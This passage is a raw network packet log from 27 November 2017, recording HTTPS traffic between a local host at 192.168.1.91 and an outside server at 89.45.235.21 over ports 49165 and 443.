Nov 27, 2017 12:34:29.939094067 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.939110994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.945971012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.946063995 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.946085930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.949835062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.949856997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.950064898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.950083017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.959403038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.959419012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.959508896 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.959532976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.972466946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.972484112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.972568035 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.972589970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.989536047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.989551067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.989562035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:29.989612103 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:29.989631891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.085495949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.085516930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.085758924 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.085787058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.092454910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.092482090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.092669964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.092720032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.119015932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.119057894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.119236946 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.119261980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.133877039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.133893013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.133898020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.133976936 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.133996964 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.149039984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.149069071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.149238110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.149267912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.149337053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.149354935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.149602890 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.149621010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.162853956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.162892103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.163048029 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.163072109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.172559023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.172584057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.172589064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.172837973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.172863960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.178212881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.178235054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.178406000 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.178431034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.182754040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.182790041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.182887077 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.182909012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.187535048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.187745094 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.187778950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.189590931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.189666986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.189683914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.193728924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.193757057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.193881035 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.193911076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.197920084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.197936058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.198087931 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.198137045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.205137014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.205169916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.205369949 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.205421925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.207869053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.207901001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.207947969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.207967043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.213778019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.213813066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.213927984 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.213949919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.215223074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.215255022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.215354919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.215378046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.219769001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.219799995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.220490932 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.220530987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.222191095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.222218037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.222410917 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.222445011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.227832079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.227860928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.227871895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.228060961 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.228104115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.229407072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.229429960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.229701996 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.229736090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.234843969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.234858036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.234963894 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.234981060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.236654997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.236669064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.236763000 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.236779928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.247692108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.247710943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.247860909 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.247879982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.250830889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.250845909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.250925064 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.250941992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.257872105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.257888079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.257981062 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.257997990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.282160044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.282182932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.282371998 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.282393932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.294112921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.294133902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.294281006 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.294301033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.299729109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.299748898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.299948931 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.299969912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.342480898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.342509985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.342720032 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.342744112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.349456072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.349479914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.349659920 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.349684000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.372687101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.372726917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.372737885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.372944117 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.372978926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.374583960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.374596119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.374679089 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.374700069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.389580965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.389605045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.389767885 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.389784098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.389801025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.389921904 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.403476000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.403501034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.403507948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.403723955 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.411003113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.420912981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.420937061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.421092987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.421120882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.421171904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.421186924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.421294928 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.421310902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.444071054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.444098949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.444278002 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.444298983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.459532022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.459573030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.459616899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.459758997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.459784985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.476002932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.476186991 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.476210117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.477905989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.477924109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.478025913 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.478046894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.485620975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.485656023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.485862970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.485888004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.498296022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.498325109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.498577118 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.498619080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.505162001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.505186081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.505345106 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.505383968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.527615070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.527648926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.527657032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.527803898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.527834892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.529014111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.529038906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.529153109 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.529167891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.545327902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.545346022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.545406103 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.545424938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.548027992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.548043966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.548158884 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.548177958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.557432890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.557511091 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.557528973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.558417082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.558430910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.558516026 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.558535099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.566919088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.566936016 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.567018986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.567039013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.574522018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.574538946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.574626923 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.574647903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.575546980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.575561047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.575661898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.575680017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.590042114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.590065002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.590073109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.590199947 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.590228081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.592891932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.592909098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.592981100 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.593003035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.600363970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.600379944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.600481033 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.600503922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.600825071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.600836992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.600924969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.600943089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.607821941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.607917070 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.607939959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.609591961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.609610081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.609930038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.609946966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.612437010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.612449884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.612607002 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.612642050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.618678093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.618690014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.619028091 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.619055033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.622728109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.622744083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.622759104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.623079062 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.623105049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.624749899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.624768019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.625010967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.625035048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.626821995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.626837969 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.626909971 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.626938105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.629930973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.629944086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.630388021 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.630409956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.632492065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.632505894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.632603884 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.632628918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.633980989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.633994102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.634466887 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.634490967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.636481047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.636733055 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.636751890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.637813091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.637829065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.637913942 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.637937069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.642430067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.642457008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.642579079 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.642602921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.643661022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.643666983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.644282103 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.644299030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.649539948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.649561882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.650065899 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.650088072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.652234077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.652261972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.652369976 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.652393103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.654552937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.654576063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.654774904 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.654792070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.657044888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.657068014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.657267094 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.657289028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.671638966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.671648979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.671746969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.671771049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.672363043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.672386885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.672482967 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:30.672502041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:30.676878929 CET	443	49165	89.45.235.21	192.168.1.91
